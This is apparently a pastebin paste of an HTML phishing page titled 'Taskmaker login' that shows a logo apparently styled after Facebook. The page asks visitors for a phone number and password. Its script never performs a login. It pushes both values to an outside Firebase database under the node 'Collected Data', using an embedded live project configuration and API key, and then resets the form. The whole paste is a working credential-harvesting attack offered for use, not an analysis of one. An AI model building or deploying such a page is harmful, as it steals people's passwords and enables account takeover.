Untitled
3 years ago in Plain Text
<p style="text-align: center;"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-Zgr2f--foSo/YNv51PebxiI/AAAAAAAAANQ/gW1W6r9YzvghnCgjqV0XieKVUc1SDDUPwCLcBGAsYHQ/s1400/logo-fb-removebg%2Bking.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="500" data-original-width="1400" height="71" src="https://1.bp.blogspot.com/-Zgr2f--foSo/YNv51PebxiI/AAAAAAAAANQ/gW1W6r9YzvghnCgjqV0XieKVUc1SDDUPwCLcBGAsYHQ/w200-h71/logo-fb-removebg%2Bking.png" width="200" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br />&nbsp;<p></p><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Taskmaker login</title>
<script src=
"https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js">
</script>
<link rel="stylesheet" href=
"https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css"
integrity=
"sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2"
crossorigin="anonymous">
</head>
<body class="container" style="margin-top: 50px;
width: 50%; height:auto;">
<h2 class="text-primary" style=
"margin-left: 15px; margin-bottom: 10px">
</h2>
<form class="container" id="contactForm">
<div class="card" style="width:500px;">
<div class="card-body">
<div class="form-group">
<label for="exampleFormControlInput1">
Enter Your Phone number
</label>
<input type="tel" class="form-control"
id="phone" placeholder="Enter your Phone number">
</div>
<div class="form-group">
<label for="exampleFormControlInput1">
Enter Your password
</label>
<input type="password" class="form-control"
id="pwd" placeholder="Enter your password">
</div>
</div>
<button type="submit" class="btn btn-primary"
style="margin-left: 15px; margin-top: 10px">
Log In
</button>
</div>
</form>
<script src=
"https://www.gstatic.com/firebasejs/3.7.4/firebase.js">
</script>
<script>
var firebaseConfig = {
apiKey: "AIzaSyCreuyWsPHw-SLDwvQTZ2QniBixZOPSQxg",
authDomain: "kain-74fd1.firebaseapp.com",
databaseURL: "https://kain-74fd1-default-rtdb.firebaseio.com/",
projectId: "kain-74fd1",
storageBucket: "kain-74fd1.appspot.com",
messagingSenderId: "218004484350",
appId: "1:218004484350:web:02ef8df320f6176fc8f5af"
};
firebase.initializeApp(firebaseConfig);
var messagesRef = firebase.database()
.ref('Collected Data');
document.getElementById('contactForm')
.addEventListener('submit', submitForm);
function submitForm(e) {
e.preventDefault();
// Get values
var phone = getInputVal('phone');
var pwd = getInputVal('pwd');
saveMessage(phone, pwd);
document.getElementById('contactForm').reset();
}
// Function to get get form values
function getInputVal(id) {
return document.getElementById(id).value;
}
// Save message to firebase
function saveMessage(phone, pwd) {
var newMessageRef = messagesRef.push();
newMessageRef.set({
phone: phone,
pwd: pwd,
});
}
</script>
</body>
</html>